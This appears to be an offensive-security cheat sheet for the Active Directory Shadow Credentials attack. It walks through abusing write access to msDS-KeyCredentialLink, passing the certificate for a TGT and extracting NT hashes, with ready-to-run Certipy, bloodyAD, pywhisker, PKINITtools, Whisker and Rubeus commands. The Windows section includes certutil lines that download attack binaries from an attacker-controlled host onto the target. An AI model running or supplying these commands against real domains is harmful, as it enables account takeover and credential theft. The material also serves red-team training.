PRIMARY CATEGORY → KERBEROS

Theory

🛠️⌛


Abuse - UNIX-like

Workflow

Let’s suppose that we got valid credentials after performing a successful Password Spraying

During our enumeration, we list the securityDescriptor DACL of every domain object looking for existings ACES related to our controlled account

Then, we see that the account in question has GenericWrite over another domain principal

At this point, we could perform a Targeted Kerberoast, but we may not be able to crack the given hash

Therefore, we can opt for a stealthier approach by leveraging the msDS-KeyCredentialLink attribute of the target

First, we have to generate a key pair and create a X509 certificate from them. After that, it’s as simple as creating a KeyCredential structure containing the public key and populating the msDS-KeyCredentialLink attribute with it

Once we are done, we can use the private key to initialize an AS Exchange via PKINIT Key Trust in order to retrieve a valid TGT for the target account i.e. perform a Pass the Certificate

Once we obtain the given Ticket Granting Ticket ( TGT ), we can leverage the U2U Kerberos extension, by providing the given TGT as additional ticket on a TGS Exchange, to be able to decrypt the issued Service Ticket’s enc_part and retrieve the NT Hash from its Privilege Attribute Certificate ( PAC ) i.e. perform an UnPac the Hash

Requirements
  • At least Windows Server 2016 as Domain Functional Level

  • The domain must have AD CS configured or a PKI/CA deployed to provide the DC with a valid key pair

  • The controlled domain account must have WRITE permissions over the msDS-KeyCredentialLink attribute of the target principal

Certipy

Certipy

Setup
mkdir Certipy
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install certipy-ad

All in one

certipy shadow auto -dc-ip '<DC_IP>' -username '<USER>@<DOMAIN>' -password '<PASSWD>' -account '<TARGET_ACCOUNT>'
BloodyAD

BloodyAD

Setup
mkdir BloodyAD
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install bloodyAD

All in one

bloodyAD --host '<DC_FQDN>' --user '<USER>' --password '<PASSWD>' --domain '<DOMAIN>' add shadowCredentials '<TARGET_ACCOUNT>'
PyWhisker + PKINITtools

Setup

git clone https://github.com/ShutdownRepo/pywhisker PyWhisker
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install .

Usage

pywhisker --dc-ip '<DC_IP>' --user '<USER>' --password '<PASSWD>' --domain '<DOMAIN>' --target '<TARGET_ACCOUNT>' --action add

The utility above will generate a PFX certificate file, along with its password, containing both the public and private key

It generates PEM files as well

Passing the Certificate

Setup

git clone https://github.com/dirkjanm/PKINITtools PKINITtools
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txt

Usage

PtC

python3 gettgtpkinit.py -dc-ip '<DC_IP>' -cert-pfx '<PFX_FILE>' -pfx-pass '<PFX_PASSWD>' '<DOMAIN>/<TARGET_ACCOUNT>' '<TARGET_ACCOUNT>.ccache'
UnPACking the NT Hash

PKINITtools

UtH

export KRB5CCNAME=$(realpath <TARGET_ACCOUNT>.ccache)
python3 getnthash.py -dc-ip '<DC_IP>' -key '<AS_ENC_KEY>' '<DOMAIN>/<TARGET_ACCOUNT>'

Abuse - Windows

Workflow

Check this out

Requirements

Check this out

Whisker + Rubeus

Setup

From the attacker ⚔️

curl --silent --show-error --location --request GET --remote-name 'https://github.com/jakobfriedl/precompiled-binaries/raw/refs/heads/main/LateralMovement/Whisker.exe'
python3 -m http.server 80

From the target 🎯

mkdir $env:systemroot\temp\PE
cd $env:systemroot\temp\PE
certutil.exe -urlcache -split -f http://<ATTACKER_IP>/Whisker.exe

Usage

.\Whisker.exe add /target:'<TARGET_ACCOUNT>' /domain:'<DOMAIN>' /dc:'<DC_FQDN>'
Passing the Certificate + UnPACking the NT Hash

Setup

From the attacker ⚔️

curl --silent --show-error --location --request GET --remote-name 'https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/refs/heads/master/Rubeus.exe'
python3 -m http.server 80

From the target 🎯

mkdir $env:systemroot\temp\PE
cd $env:systemroot\temp\PE
certutil.exe -urlcache -split -f http://<ATTACKER_IP>/Rubeus.exe

Usage

.\Rubeus.exe asktgt /user:'<TARGET_ACCOUNT>' /certificate:'<BASE64_PFX>' /password:'<PFX_PASSWD>' /domain:'<DOMAIN>' /dc:'<DC_FQDN>' /getcredentials /show